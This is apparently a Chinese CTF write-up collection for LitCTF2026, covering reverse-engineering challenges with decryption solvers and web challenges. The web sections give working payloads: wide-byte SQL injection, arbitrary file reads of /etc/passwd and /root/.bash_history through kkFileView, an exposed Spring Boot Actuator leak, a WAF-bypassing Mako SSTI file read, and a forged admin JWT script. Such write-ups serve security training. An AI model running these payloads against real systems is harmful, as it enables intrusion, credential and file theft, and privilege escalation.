1. lit_xor_chain
先从二进制中搜索可读字符串,可以看到输入提示、成功失败提示,以及一段 30 字节的期望数组:
23 40 2b 16 0b 19 2e 25 3c 29 67 68 12 2f 42
25 12 2b 3f 3c 41 12 38 3b 3b 12 42 3e 78 34
符号表中存在 g_expected,对应这段数组。反汇编 main 后核心逻辑如下:
cmp rax, 0x1e
jne wrong
movzx edx, byte ptr [rcx]
xor edx, 0x52
add edx, 5
cmp byte ptr [r8], dl
jne wrong
程序要求输入长度为 0x1e = 30,然后逐字节计算:
encoded = ((ch ^ 0x52) + 5) & 0xff
所以反向恢复原文:
ch = ((encoded - 5) & 0xff) ^ 0x52
Solver
EXPECTED = bytes.fromhex(
"23 40 2b 16 0b 19 2e 25 3c 29 67 68 12 2f 42"
" 25 12 2b 3f 3c 41 12 38 3b 3b 12 42 3e 78 34"
)
flag = bytes(((byte - 5) & 0xFF) ^ 0x52 for byte in EXPECTED)
print(flag.decode())
输出
LitCTF{rev01_xor_then_add_ok!}
完整脚本见:solve.py
2. lit_b64_alphabet
题目实现的是标准 Base64 分组,但替换了输出字母表。符号表中有两个关键符号:
g_expected
g_alphabet
从 .rdata 中提取到:
EXPECTED = zjA5lToj9PUAGn2O+v6TRPosgYWB6noyGjhBgjfwyl==
CUSTOM_ALPHABET = 2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI
标准 Base64 字母表是:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
程序编码时用 CUSTOM_ALPHABET[index] 输出字符。因此解密时只需要把期望密文里的自定义字母表字符映射回标准 Base64 字符,再用标准 Base64 解码即可。
solver
import base64
standard = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
custom = "2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI"
expected = "zjA5lToj9PUAGn2O+v6TRPosgYWB6noyGjhBgjfwyl=="
table = str.maketrans(custom, standard)
plain_b64 = expected.translate(table)
print(base64.b64decode(plain_b64).decode())
输出
LitCTF{rev02_custom_b64_table!}
3. lit_tea_standard
Analysis
题目对输入做 PKCS#7 填充到 8 字节倍数,然后按块执行标准 TEA 32 轮加密,并与 .rdata 中的密文比较。
在 .rdata 中找到 32 字节密文:
ed ef 21 fe b7 9b 3c b0 1e 93 72 e2 02 3e 29 bc
36 f7 0c 92 2e 5a ae 46 44 fa 45 25 1a e5 8c 87
反汇编 main 中的 TEA 循环,能看到 delta = 0x9E3779B9,32 轮。由于编译器把部分加法常量优化成了 sub imm,对应密钥需要转成补码:
sub eax, 0x5ee31054 -> k0 = 0xa11cefac
sub esi, 0x4ff4e200 -> k1 = 0xb00b1e00
sub eax, 0x35014542 -> k2 = 0xcafebabe
sub esi, 0x21524111 -> k3 = 0xdeadbeef
所以密钥为:
k = [0xA11CEFAC, 0xB00B1E00, 0xCAFEBABE, 0xDEADBEEF]
数据按小端 uint32 读取,每 8 字节一块解 TEA,最后去掉 PKCS#7 填充。
Solver
from struct import pack, unpack
MASK = 0xFFFFFFFF
DELTA = 0x9E3779B9
KEY = (0xA11CEFAC, 0xB00B1E00, 0xCAFEBABE, 0xDEADBEEF)
def dec_block(block):
v0, v1 = unpack("<2I", block)
total = (DELTA * 32) & MASK
for _ in range(32):
v1 = (v1 - ((((v0 << 4) & MASK) + KEY[2]) ^ ((v0 + total) & MASK) ^ ((v0 >> 5) + KEY[3]))) & MASK
v0 = (v0 - ((((v1 << 4) & MASK) + KEY[0]) ^ ((v1 + total) & MASK) ^ ((v1 >> 5) + KEY[1]))) & MASK
total = (total - DELTA) & MASK
return pack("<2I", v0, v1)
Output
LitCTF{rev03_tea_standard!!}
4. lit_rc4_variant
Analysis
题目实现了一个 RC4 变体,状态数组长度为 64,而不是标准 RC4 的 256。
.rdata 中可以直接看到 key 和密文:
KEY = lit_rc4_key!
CIPHER = 7b 3d 38 77 4e 72 42 7d 45 37 76 0f 53 53 4f 66
37 17 75 37 5f 49 58 72 74 7f 79 1f 3a
KSA 逻辑与 RC4 类似,但模 64:
s = list(range(64))
j = 0
for i in range(64):
j = (j + s[i] + key[i % len(key)]) & 0x3f
s[i], s[j] = s[j], s[i]
PRGA 需要注意,输出并不是标准 RC4 的 S[(S[i] + S[j]) & mask]。反汇编确认流程为:
i = (i + 1) & 0x3f- 记录交换前的
old_si = S[i] j = (j + old_si) & 0x3f- 记录交换前的
old_sj = S[j] - 交换
S[i]和S[j] - 输出流字节为
S[i] + S[(old_si + old_sj) & 0x3f]
因为是异或流密码,加密和解密函数相同。
Solver
KEY = b"lit_rc4_key!"
CIPHER = bytes.fromhex(
"7b 3d 38 77 4e 72 42 7d 45 37 76 0f 53 53 4f 66"
" 37 17 75 37 5f 49 58 72 74 7f 79 1f 3a"
)
s = list(range(64))
j = 0
for i in range(64):
j = (j + s[i] + KEY[i % len(KEY)]) & 0x3f
s[i], s[j] = s[j], s[i]
out = bytearray()
i = j = 0
for byte in CIPHER:
i = (i + 1) & 0x3f
old_si = s[i]
j = (j + old_si) & 0x3f
old_sj = s[j]
s[i], s[j] = s[j], s[i]
stream = (s[i] + s[(old_si + old_sj) & 0x3f]) & 0xff
out.append(byte ^ stream)
print(out.decode())
Output
LitCTF{rev05_rc4_variant_64!}
Tools Used
rg -a: 搜索 PE 中的可读字符串和符号名。- Python: 解析 PE/COFF 符号表、提取
.rdata常量、写解密脚本。 - Capstone: 对
main做轻量反汇编,确认变换逻辑、常量和长度。
Takeaways
- 对带符号的 MinGW PE,COFF 符号表非常有用,常能直接定位
main、g_expected、g_key。 - 入门逆向题优先找
.rdata,期望数组、密钥、Base64 表、提示字符串通常都在这里。 - 自定义编码/加密题的核心是确认三个点:输入长度、常量/表、端序或索引细节。
- 遇到编译器优化后的
sub imm,要注意它可能等价于加上补码形式的 key。
5.lit_xtea_tweak
题目概述 题目提示说这题流程类似 XTEA,但标准常量 delta 被替换成了 0xDEADBEEF。 因此核心方向很明确:先确认它是不是标准 32 轮 XTEA,再看常量和填充细节有没有变化。
分析过程 样本同样只有一个 challenge.exe。先看字符串和符号,可以发现:
输入提示:input your flag:
成功失败提示:Good!、Wrong!
符号名:g_cipher、g_key
还能直接看到 delta 这个字符串
在 .rdata 区域里,可以直接提取到两类关键数据:
一段 32 字节密文:
e3ee1ee7d3a7966fc6a7b9e1b94e67865f0304a6dbbbb940563af79eee64d406
以及 128 位 key:
0x11111111, 0x22222222, 0x33333333, 0x44444444
核心逆向 反汇编 main 后,逻辑非常清楚:
读入用户输入。计算长度。按 8 字节分组进行填充。
填充值是典型 PKCS#7 风格,例如差 3 字节就补 0x03 0x03 0x03。 填充后长度必须正好等于 0x20,也就是 32 字节。然后按块执行 XTEA 风格加密,最后与内置 32 字节密文比较。从反汇编能还原出其加密轮函数:
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); sum += delta; v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
这和标准 XTEA 完全一致,只是 delta 不再是 0x9E3779B9,而是:
delta = 0xDEADBEEF
并且循环终止条件对应 32 轮,总和为:
sum = delta * 32 = 0xD5B7DDE0
所以这题其实就是“改常量版 XTEA”。
sub eax, 0x21524111 这里的补码对应的就是加 0xDEADBEEF
比较终止值 0xD5B7DDE0
两个 key 索引位置 sum & 3 和 (sum >> 11) & 3
解密思路 既然程序是“输入明文后加密再比较”,那最方便的做法就是反过来直接解密内置密文。
XTEA 解密公式与加密相反,已知:
cipher = e3ee1ee7d3a7966fc6a7b9e1b94e67865f0304a6dbbbb940563af79eee64d406
key = [0x11111111, 0x22222222, 0x33333333, 0x44444444]
delta = 0xDEADBEEF
初始 sum = delta * 32
解密脚本如下:
import struct cipher = bytes.fromhex("e3ee1ee7d3a7966fc6a7b9e1b94e67865f0304a6dbbbb940563af79eee64d406") key = [0x11111111, 0x22222222, 0x33333333, 0x44444444] delta = 0xDEADBEEF sum0 = (delta * 32) & 0xffffffff def dec_block(block): v0, v1 = struct.unpack("<2I", block) s = sum0 for _ in range(32): v1 = (v1 - ((((v0 << 4) & 0xffffffff) ^ (v0 >> 5)) + v0 ^ ((s + key[(s >> 11) & 3]) & 0xffffffff))) & 0xffffffff s = (s - delta) & 0xffffffff v0 = (v0 - ((((v1 << 4) & 0xffffffff) ^ (v1 >> 5)) + v1 ^ ((s + key[s & 3]) & 0xffffffff))) & 0xffffffff return struct.pack("<2I", v0, v1) plain = b"".join(dec_block(cipher[i:i+8]) for i in range(0, len(cipher), 8)) print(plain)
输出结果为:
b'LitCTF{rev04_xtea_delta_twk!}\\x03\\x03\\x03'
最后去掉 0x03 填充即可得到 flag。
截图建议 4 放脚本输出截图,最好能把 LitCTF{rev04_xtea_delta_twk!}\x03\x03\x03 和“去填充后最终 flag”一起截进去。
最终答案 LitCTF{rev04_xtea_delta_twk!}
Web
Lit_ezsql
这题本质是一个 MySQL 宽字节注入。
首页只有一个 id 查询框,请求到 /query?id=...。先正常访问:
/query?id=1
可以看到回显一条用户数据。继续加上 debug=1:
/query?id=1&debug=1
页面会直接显示后端执行的 SQL:
SELECT `id`,`name`,`col2`,`col3`,`col4` FROM `ezsql`.`users` WHERE id='1' LIMIT 50
这一步非常关键,说明:1. 参数是被直接拼进 SQL 的。2. id 被包在单引号里。3. 题目还会对单引号做转义,因为像下面这种普通注入打不进去:
/query?id=1' or '1'='1&debug=1
回显 SQL 类似:
WHERE id='1\' or \'1\'=\'1'
说明后端用了类似 addslashes() 的处理。
真正利用点
这是 MySQL/MariaDB 环境,且存在宽字节注入。
使用 %df%27 或 %bf%27 可以绕过转义:
/query?id=%df%27 or 1=1#&debug=1
页面会返回多条记录,说明注入成功。
其中 # 用来注释掉后面的单引号。
接着确认 union 可用:
/query?id=%df%27 union select 1,2,3,4,5#
成功回显:1 | 2 | 3 | 4 | 5
说明一共 5 列,且都能显示。
枚举库表
先看当前库名和版本:
/query?id=%df%27 union select database(),user(),version(),4,5
得到当前库是:ezsql
再枚举表名:
/query?id=%df%27 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()#
得到:
users,flag_store
flag_store 明显可疑。
枚举 flag_store 的列
因为题目会转义单引号,所以这里不用 'flag_store',改用十六进制字符串:
/query?id=%df%27 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database() and table_name=0x666c61675f73746f7265#
得到列名:
id,flag
读取 flag
直接查表:
/query?id=%df%27 union select 1,flag,3,4,5 from flag_store#
拿到最终 flag:
flag{qatecxua-iyan-41h-8cpu-mzh5vqig4qqr2}
总结
这题的核心是两步:
1. debug=1 泄露真实 SQL,帮助确认注入点和转义方式。
2. 利用 MySQL 宽字节注入 %df%27 绕过 addslashes 风格转义。
flag{qatecxua-iyan-41h-8cpu-mzh5vqig4qqr2}
Northbridge Document Hub
一、信息搜集
浏览器打开靶机,直接 302 跳转到 /login,是一个登录页面。页面标题叫「Northbridge Document Hub」,没有注册入口,先看看前端代码。
翻静态资源的时候发现 /assets/js/portal.js,拉下来一看:
auth: {
mode: "legacy-fallback",
// researcher:Research#2026
seed: "cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2"
},
fileGateway: {
path: "/kkfileview/getCorsFile",
queryKey: "urlPath",
node: "legacy-parse-02"
}
seed 那段 cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2 明显是 Base64,解码出来就是 researcher:Research#2026。上面注释都贴脸了,直接拿下账号。
有几个关键信息先记下:
-
登录接口 /login,表单字段是 username 和 password
-
/kkfileview/getCorsFile — 经典的 kkFileView 文件预览网关接口,参数名 urlPath
二、登录
POST 一把梭:
POST /login
Content-Type: application/x-www-form-urlencoded
username=researcher&password=Research#2026
返回 302 + JSESSIONID,跳转到 /home,登录态到手。
三、/home 信息整理
登录后 /home 页面暴露了大量内部信息,逐条看:
| 信息 | 值 |
|---|---|
| 当前用户 | researcher |
| Gateway Node | legacy-parse-02 |
| Storage Class | archive-cache-prd |
| Cache Mount | /opt/kkfileview/cache/parsed |
| Region | CN-SH2 |
审计摘要表格里有三条记录:
11:10 doc/finance_2026q1.xlsx parse SUCCESS
11:22 contract/batch-0912.pdf parse SUCCESS
11:33 archive/retry-job-8842 RETRY
doc/finance_2026q1.xlsx 已经被成功解析,且题目描述里提到「本季度财务归档」,这条记录八九不离十就是 flag 的入口。
四、kkFileView getCorsFile 利用
kkFileView 的 getCorsFile 接口本意是跨域获取文件、让前端去做在线预览。但如果 urlPath 参数没有做好白名单校验,就可以读取任意文件。
直接传普通路径返回 400 invalid urlPath,说明参数被收到了但校验没过。翻 kkFileView 源码(或者凭经验),发现它支持 **Base64 编码的 file:// 协议路径**。
验证一下——试试 /etc/passwd:
file:///etc/passwd → Base64 → ZmlsZTovLy9ldGMvcGFzc3dk
GET /kkfileview/getCorsFile?urlPath=ZmlsZTovLy9ldGMvcGFzc3dk
回显:
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
...
妥了,任意文件读取确认。
五、寻找 flag 位置
先测了一圈常见 flag 路径——/flag、/root/flag、/tmp/flag、/app/flag——全部 404。
既然 /etc/passwd 能读,那读一下历史命令看看运维干了什么:
file:///root/.bash_history → Base64 → ...
内容:
cd /opt/kkfileview/bin
./startup.sh --cache.dir=/opt/kkfileview/cache/parsed
java -jar kkFileView.jar --cache.dir=/opt/kkfileview/cache/parsed --forceUpdatedCache=true
cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip
最后一行直接爆金币——缓存目录下压了一个 q1_finance_report_2026.zip,还被人顺手拷到了 /tmp。
六、下载 & 解压
直接走 kkFileView 把 zip 拉下来:
file:///opt/kkfileview/cache/parsed/q1_finance_report_2026.zip
→ Base64 → ZmlsZTovLy9vcHQva2tmaWxldmlldy9jYWNoZS9wYXJzZWQvcTFfZmluYW5jZV9yZXBvcnRfMjAyNi56aXA=
GET /kkfileview/getCorsFile?urlPath=ZmlsZTovLy9vcHQva2tmaWxldmlldy9jYWNoZS9wYXJzZWQvcTFfZmluYW5jZV9yZXBvcnRfMjAyNi56aXA=
返回 493 字节的 ZIP(或者叫 JAR 格式,一样),里面就一个 flag.txt。
解压:
flag{airjis4e-r01q-4w3-8rbs-ny5ql1jawcrur}
3. [LitCTF2026] 华辰企业服务运营平台
Summary
题目是一个企业客服工单系统,描述里提示“保留了大量运维与调试能力”。访问站点后可以判断后端是 Spring Boot,继续枚举发现 Spring Boot Actuator 端点未授权暴露,而且 /actuator/env 开启了明文配置值展示,最终直接在环境变量里读到了完整 flag。
Challenge Description
某客服工单系统上线后,保留了大量运维与调试能力。
需要从系统暴露面和服务端中收集关键信息,完成权限突破并还原完整 flag。
Reconnaissance
先访问首页:
curl -i http://challenge.cyclens.tech:31054/
返回的是正常 HTML 页面,页面标题显示为“华辉企业服务运营平台”,与题目名“华辰企业服务运营平台”略有出入;页面里加载了静态资源:
<link rel="stylesheet" href="/css/style.css">
<script src="/js/index.js"></script>
继续查看前端 JS:
curl -s http://challenge.cyclens.tech:31054/js/index.js
可以看到公开接口:
fetch('/api/public/banner')
fetch('/api/public/news')
访问登录页:
curl -i http://challenge.cyclens.tech:31054/login
页面提示默认用户名为 user,并加载:
<script src="/js/login.js"></script>
查看登录逻辑:
curl -s http://challenge.cyclens.tech:31054/js/login.js
得到登录接口:
fetch('/api/auth/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
})
未登录访问工作台会跳转到登录页:
curl -i http://challenge.cyclens.tech:31054/dashboard
关键响应:
HTTP/1.1 302
Set-Cookie: JSESSIONID=...
Location: http://challenge.cyclens.tech:31054/login;jsessionid=...
404 响应也是典型的 Spring Boot JSON 风格,例如:
curl -i http://challenge.cyclens.tech:31054/robots.txt
{
"timestamp": "2026-05-23T05:13:00.567+00:00",
"status": 404,
"error": "Not Found",
"message": "",
"path": "/robots.txt"
}
结合题目里的“运维”和“调试”提示,应优先检查 Spring Boot Actuator。
Solution
Step 1: 枚举 Actuator
访问 /actuator:
curl -i http://challenge.cyclens.tech:31054/actuator
返回 200,并列出了大量 actuator 端点:
{
"_links": {
"beans": {
"href": "http://challenge.cyclens.tech:31054/actuator/beans"
},
"health": {
"href": "http://challenge.cyclens.tech:31054/actuator/health"
},
"configprops": {
"href": "http://challenge.cyclens.tech:31054/actuator/configprops"
},
"env": {
"href": "http://challenge.cyclens.tech:31054/actuator/env"
},
"heapdump": {
"href": "http://challenge.cyclens.tech:31054/actuator/heapdump"
},
"mappings": {
"href": "http://challenge.cyclens.tech:31054/actuator/mappings"
}
}
}
说明 Actuator 端点没有做鉴权,而且暴露范围很大。
Step 2: 读取环境变量
继续访问 /actuator/env:
curl -s http://challenge.cyclens.tech:31054/actuator/env
响应中能看到运行环境、系统属性和应用配置。关键信息如下:
{
"name": "systemEnvironment",
"properties": {
"LAB_FLAG_PART2": {
"value": "s-8jfj-mzs2ey0syjffk}",
"origin": "System Environment Property \"LAB_FLAG_PART2\""
},
"FLAG": {
"value": "flag{n2ozekzi-kfga-4fs-8jfj-mzs2ey0syjffk}",
"origin": "System Environment Property \"FLAG\""
},
"LAB_SHIRO_KEY_B64": {
"value": "R1pDVEZTaGlyb0dDTUtleQ==",
"origin": "System Environment Property \"LAB_SHIRO_KEY_B64\""
},
"LAB_SHIRO_ALG_MODE": {
"value": "GCM",
"origin": "System Environment Property \"LAB_SHIRO_ALG_MODE\""
}
}
}
同时在 applicationConfig: [classpath:/application.yml] 中还能看到:
{
"management.endpoints.web.exposure.include": {
"value": "*"
},
"management.endpoint.env.show-values": {
"value": "always"
},
"management.endpoint.configprops.show-values": {
"value": "always"
}
}
这就解释了为什么 /actuator/env 会直接显示敏感配置值:应用把 actuator 全量暴露,而且配置了 show-values: always。
Step 3: 提取 Flag
最终在环境变量 FLAG 中直接得到完整 flag:
flag{n2ozekzi-kfga-4fs-8jfj-mzs2ey0syjffk}
如果只看 LAB_FLAG_PART2,也可以得到后半段:
s-8jfj-mzs2ey0syjffk}
但本题 /actuator/env 已经直接泄露了 FLAG,无需继续伪造登录态或利用 Shiro key。
Exploit Command
最短利用命令:
curl -s http://challenge.cyclens.tech:31054/actuator/env
也可以用 PowerShell 过滤关键字段:
(Invoke-RestMethod 'http://challenge.cyclens.tech:31054/actuator/env').propertySources |
ForEach-Object { $_.properties.FLAG } |
Where-Object { $_ } |
Select-Object -ExpandProperty value
输出:
flag{n2ozekzi-kfga-4fs-8jfj-mzs2ey0syjffk}
Vulnerability
本题核心漏洞是 Spring Boot Actuator 未授权暴露。
危险配置包括:
management:
endpoints:
web:
exposure:
include: "*"
endpoint:
env:
show-values: always
configprops:
show-values: always
其中:
exposure.include: "*"暴露所有 actuator 端点。/actuator/env会返回环境变量、系统属性和配置文件内容。show-values: always导致敏感值不再脱敏。
在真实环境中,这类问题可能泄露数据库密码、JWT 密钥、Shiro key、云服务凭证、内部地址、flag 等敏感信息。
Tools Used
curl: 访问页面、接口和 actuator 端点- Browser / manual recon: 观察页面结构和前端 JS
Flag
flag{n2ozekzi-kfga-4fs-8jfj-mzs2ey0syjffk}
Takeaways
- 看到 Spring Boot 风格 404、
JSESSIONID、/actuator等特征时,应优先检查 actuator 暴露面。 - CTF 里题目描述出现“运维”“调试”“监控”“审计”“内部能力”等关键词时,通常暗示调试接口或管理端点未关。
- Actuator 的
/env、/configprops、/heapdump、/mappings都是高价值端点,可能泄露配置、路由、内存中的敏感数据或内部接口信息。 - 生产环境应最小化暴露 actuator,只开放必要端点,并对管理端点加认证、内网限制和敏感值脱敏。
4. [LitCTF2026] lit_ezssti
Summary
这题首页直接给了一个“模板渲染”输入框,题名也明示 SSTI,但常见的 {{7*7}}、{{config}} 一类 Jinja2 探测都没有执行,反而部分特殊语法会回显 WAF。继续探测后可以确认后端实际使用的是 Mako 模板引擎,而且 WAF 主要拦截了 $、.、[]、flag 等高危特征;利用 Mako 的 % 控制语句配合异常回显,绕过关键字检测后直接读取 /flag。
Challenge Description
题目描述只有一句“缺什么补什么(x)”,页面也非常简洁,只有一个模板输入框和回显区域。核心思路就是判断真实模板引擎,并在 WAF 限制下构造可以执行 Python 的 payload。
Reconnaissance
先访问首页:
curl -i http://challenge.cyclens.tech:30311/
页面主体非常直接:
<form method="post" action="/" class="card">
<label for="tpl">模板</label>
<textarea id="tpl" name="tpl"></textarea>
<button type="submit">渲染</button>
</form>
<pre id="out"></pre>
第一反应通常是按 Jinja2 去测:
curl -s -X POST http://challenge.cyclens.tech:30311/ --data-urlencode "tpl={{7*7}}"
但回显还是原样的 {{7*7}},说明它不是直接执行 Jinja2 表达式。继续测试一些模板特征:
curl -s -X POST http://challenge.cyclens.tech:30311/ --data-urlencode "tpl={% set x=7*7 %}{{x}}"
curl -s -X POST http://challenge.cyclens.tech:30311/ --data-urlencode "tpl=${7*7}"
curl -s -X POST http://challenge.cyclens.tech:30311/ --data-urlencode "tpl=<%= 7*7 %>"
其中:
{{...}}只是原样输出。${...}和<%= ... %>会被拦成WAF。- 某些带
%的输入会进入模板解析流程,甚至报出语法异常。
这一步已经很像 Mako 了,因为 Mako 支持 ${...}、<% ... %> 和行首 % 控制语句。
Solution
Step 1: 确认是 Mako 而不是 Jinja2
构造一个只依赖 % 控制语句的 payload:
curl -s -X POST http://challenge.cyclens.tech:30311/ --data-urlencode "% if 1/0:
% endif"
页面回显:
[渲染异常] ZeroDivisionError: division by zero
说明服务端确实在执行模板中的 Python 逻辑,并把异常信息直接回显到了页面上。这种报错风格和 Mako 的控制语句行为是对得上的。
Step 2: 分析 WAF 规则
继续用最小 payload 探测哪些字符会触发拦截。很快可以发现:
${7*7}会被拦。{{().__class__}}会被拦。- 只要 payload 中出现
.、[、]、flag之类高危片段,通常就会落到WAF。
这意味着常见的对象链写法用不了,但 % if ... 里的 Python 表达式还能执行,只要我们避开这些关键字和字符即可。
Step 3: 用异常回显读取 /flag
直接写 open('/flag').read() 会被 WAF 命中,因为既有 .,又有连续字符串 flag。所以需要同时绕过这两点:
- 不用点号调用方法,改用
getattr(...)。 - 不直接写
flag,改成字符串拼接'/f'+'lag'。
最终 payload:
% if exec("raise Exception(getattr(open('/f'+'lag'),'read')())"):
% endif
提交后页面会把文件内容作为异常消息回显:
[渲染异常] Exception: flag{4gsmcoho-2xwn-4q3-8uv5-8r3a9ts6s4cak}
Exploit Command
最短利用命令如下:
curl -s -X POST http://challenge.cyclens.tech:30311/ ^
--data-urlencode "tpl=% if exec(\"raise Exception(getattr(open('/f'+'lag'),'read')())\"):
% endif"
拿到的结果里会直接包含完整 flag。
Vulnerability
本题的核心问题有两层:
- 服务端把用户输入直接交给了 Mako 模板引擎处理,形成 SSTI。
- WAF 只是基于关键字和字符做浅层拦截,没有真正阻止模板中的 Python 执行。
一旦攻击者确认了模板引擎类型,就可以改写语法,绕过对 ${...}、点号和敏感单词的过滤,最终读文件甚至进一步执行任意代码。
Tools Used
curl: 测试输入点、提交 payload、查看回显- 手工语法探测: 区分 Jinja2 与 Mako,并归纳 WAF 的拦截规则
Flag
flag{4gsmcoho-2xwn-4q3-8uv5-8r3a9ts6s4cak}
Takeaways
- 题名提示 SSTI 时,第一步不是急着堆对象链,而是先判断真实模板引擎。
- Mako 的
%控制语句在很多“只盯${...}”的过滤里很容易漏掉。 - 遇到关键字拦截时,字符串拼接、
getattr、异常回显这类“低配绕过”往往已经够用。
5. [LitCTF2026] lit_reverse_my_web
Summary
这题表面是一个企业运营平台登录站,实际关键点在附件提供的 server.exe。正常注册登录后只能拿到普通用户 JWT,而 /flag 需要管理员权限。逆向 Go 服务端程序后可以恢复出被简单异或混淆的 JWT HMAC 密钥,随后伪造 role=admin 的 token,直接访问 /flag 读出 flag。
Challenge Description
题目给了远程站点和一个服务端附件。站点有注册、登录、登出和 flag 页面,看起来像常规 Web 题,但题名 lit_reverse_my_web 和题目描述都在提示“这是一道要逆服务端的 Web 题”。
Reconnaissance
先访问首页:
curl -i http://challenge.cyclens.tech:30599/
返回的是一个中文企业风格页面,能看到几个核心路由:
/register/login/flag
随后验证正常注册和登录流程:
curl -i -X POST http://challenge.cyclens.tech:30599/register ^
-H "Content-Type: application/x-www-form-urlencoded" ^
--data "username=test123&password=abcdef123456"
注册后会跳转到登录页。继续登录:
curl -i -X POST http://challenge.cyclens.tech:30599/login ^
-H "Content-Type: application/x-www-form-urlencoded" ^
--data "username=test123&password=abcdef123456"
关键响应如下:
HTTP/1.1 303 See Other
Location: /
Set-Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....
说明站点把身份信息放在 token 这个 Cookie 中。把 JWT payload 解码后,可以看到类似:
{
"role": "user",
"iss": "reverseMyWeb",
"sub": "test123",
"exp": 1779599523,
"iat": 1779513123
}
这意味着如果能伪造一个合法签名的 role=admin token,就能越权访问 /flag。
Static Analysis
附件里只有一个 server.exe,先做静态分析。直接从字符串和符号中就能看到很多关键信息:
main.(*app).handleRegister
main.(*app).handleLogin
main.(*app).handleFlag
main.(*app).signJWT
main.(*app).parseToken
reverseMyWeb/internal/jwtsecret.encKey
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password_hash BLOB NOT NULL,
role TEXT NOT NULL DEFAULT 'user'
)
这些信息说明:
- 后端是 Go 编译出来的 Web 服务。
- 用户信息存在 SQLite 中。
- 新注册用户默认角色就是
user。 - JWT 相关逻辑集中在
signJWT、parseToken和jwtsecret.encKey。
继续看 parseToken 的逻辑,可以确认它优先从 Authorization: Bearer ... 取 token,如果没有,再从 Cookie token 中读取。
Solution
Step 1: 定位被混淆的 JWT 密钥
在符号表里能定位到一个全局变量:
reverseMyWeb/internal/jwtsecret.encKey
它不是明文字符串,而是一段长度为 32 的字节数据。导出后得到:
28 17 2d 05 68 6a 68 6c 05 36 33 2e 39 2e 3c 05
30 2d 2e 05 29 3f 39 28 3f 2e 05 31 3f 23 7b 7b
这串字节看起来并不像随机密钥,更像是可打印字符串被单字节混淆。对每个字节异或 0x5a 后,可还原出真正的 HMAC 密钥:
rMw_2026_litctf_jwt_secret_key!!
Step 2: 伪造管理员 JWT
知道密钥后,构造一个合法的 HS256 JWT 即可。只要保持 payload 中的关键字段格式与站点一致,把 role 改成 admin:
{
"role": "admin",
"iss": "reverseMyWeb",
"sub": "codex",
"exp": 1779599918,
"iat": 1779513518
}
示例脚本:
import base64
import hashlib
import hmac
import json
import time
key = b"rMw_2026_litctf_jwt_secret_key!!"
header = {"alg": "HS256", "typ": "JWT"}
payload = {
"role": "admin",
"iss": "reverseMyWeb",
"sub": "codex",
"exp": int(time.time()) + 86400,
"iat": int(time.time()),
}
def b64(data):
raw = json.dumps(data, separators=(",", ":")).encode()
return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
msg = f"{b64(header)}.{b64(payload)}".encode()
sig = base64.urlsafe_b64encode(hmac.new(key, msg, hashlib.sha256).digest()).rstrip(b"=").decode()
token = msg.decode() + "." + sig
print(token)
Step 3: 带着伪造 token 访问 /flag
curl -i http://challenge.cyclens.tech:30599/flag ^
-H "Cookie: token=<forged_jwt>"
返回:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
flag{pqtwfcsi-lnl4-4ga-8glz-nuvhybhgzjijx}
Exploit Command
最短利用思路就是“本地生成 token,再请求 /flag”:
import base64, json, hmac, hashlib, time, requests
key = b"rMw_2026_litctf_jwt_secret_key!!"
header = {"alg": "HS256", "typ": "JWT"}
payload = {
"role": "admin",
"iss": "reverseMyWeb",
"sub": "codex",
"exp": int(time.time()) + 86400,
"iat": int(time.time()),
}
def b64(x):
return base64.urlsafe_b64encode(json.dumps(x, separators=(",", ":")).encode()).rstrip(b"=").decode()
msg = f"{b64(header)}.{b64(payload)}".encode()
sig = base64.urlsafe_b64encode(hmac.new(key, msg, hashlib.sha256).digest()).rstrip(b"=").decode()
token = msg.decode() + "." + sig
r = requests.get("http://challenge.cyclens.tech:30599/flag", headers={"Cookie": f"token={token}"})
print(r.text)
输出:
flag{pqtwfcsi-lnl4-4ga-8glz-nuvhybhgzjijx}
Vulnerability
这题的核心问题是:
- JWT HMAC 密钥被硬编码在服务端程序里。
- 所谓“混淆”只是简单的单字节异或。
- 权限直接由客户端 token 里的
role字段决定。 /flag对管理员身份的判断仅依赖 JWT 签名和 claim,没有服务端二次校验。
因此一旦攻击者拿到附件,就能离线还原密钥并伪造任意角色。
Tools Used
curl: 验证注册、登录和最终读取/flag- 字符串和符号分析: 从二进制中提取路由、SQL 和 JWT 相关信息
- 反汇编分析: 定位
signJWT、parseToken与jwtsecret.encKey - Python: 还原密钥并生成管理员 JWT
Flag
flag{pqtwfcsi-lnl4-4ga-8glz-nuvhybhgzjijx}
浙公网安备 33010602011771号